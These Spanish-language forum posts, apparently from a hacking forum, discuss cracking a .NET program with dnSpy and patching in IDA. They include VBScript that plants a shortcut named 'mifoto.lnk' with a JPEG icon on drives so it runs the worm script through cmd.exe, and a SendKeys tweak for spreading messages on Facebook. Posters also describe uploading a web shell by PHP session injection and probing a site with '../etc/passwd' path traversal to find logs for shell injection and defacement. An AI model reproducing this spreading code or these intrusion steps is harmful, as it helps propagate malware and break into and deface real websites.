Me respondo yo mismo, termine de crackear el programa con dnspy fue mucho mas facil

Alguien me podria dar un alcanze de como patchear y editar manualmente en IDA porque lo estoy haciendo como lo hacia con otros programas (no .net) pero ahora no entiendo porque al cambiar manualmente algun dato no lo patchea :s

Ah ok gracias eres un grande jaja, no sabia que no se podia usar espacios, gracias. Ahora toca pasarlo a delphi.

Saludos.

La funcion replace que es para remplazar codenas a que viene?

replace(wscript.scriptname," ", chrw(34) & " " & chrw(34))

Cual es su sintaxis del argumento? sin el codigo como seria?

Para ser mas preciso en la linea

lnkobj.arguments = "/c start " & replace(wscript.scriptname," ", chrw(34) & " " & chrw(34)) & "&exit"

que argumentos debe tener un lnk para que ejecute un programa?

Alguien que sea tan amable de explicarme estas lineas que dejo de ejemplo MadAntrax en uno de sus post, no estoy muy familiarizado con este tipo de spread.

set lnkobj = WSS.createshortcut (drive.path & "\mifoto.lnk")
lnkobj.windowstyle = 7
lnkobj.targetpath = "cmd.exe"
lnkobj.workingdirectory = ""
lnkobj.arguments = "/c start " & replace(wscript.scriptname," ", chrw(34) & " " & chrw(34)) & "&exit"
lnkobj.iconlocation = WSS.regread ("HKEY_LOCAL_MACHINE\software\classes\jpegfile\defaulticon\")
lnkobj.save()
 

Para que el Spread Msg de Facebook sea funcional en Firefox deben poner

WS.SendKeys "+(%m)"

en vez de

WS.SendKeys "%m"

y aun sigue quedando funcional para firefox y chrome

Es algo antiguo el post, pero logre subir la shell mediante inyeccion en sesion php igualmente gracias

Bueno esa es mi duda estoy practicando lfi y rfi pero hay mas webs para hacer lfi y defacear, hasta el momento no eh defaceado una por eso no tengo suficiente experiencia asi que mi pregunta es como encontrar la ruta de los logs para poder inyectar una shell:

Tengo esto por el momento:


ese es el directorio de la web supongo que el server es compartido porque al poner ../../../../../../../etc/passwd salen varios usuarios y no permite ataque rfi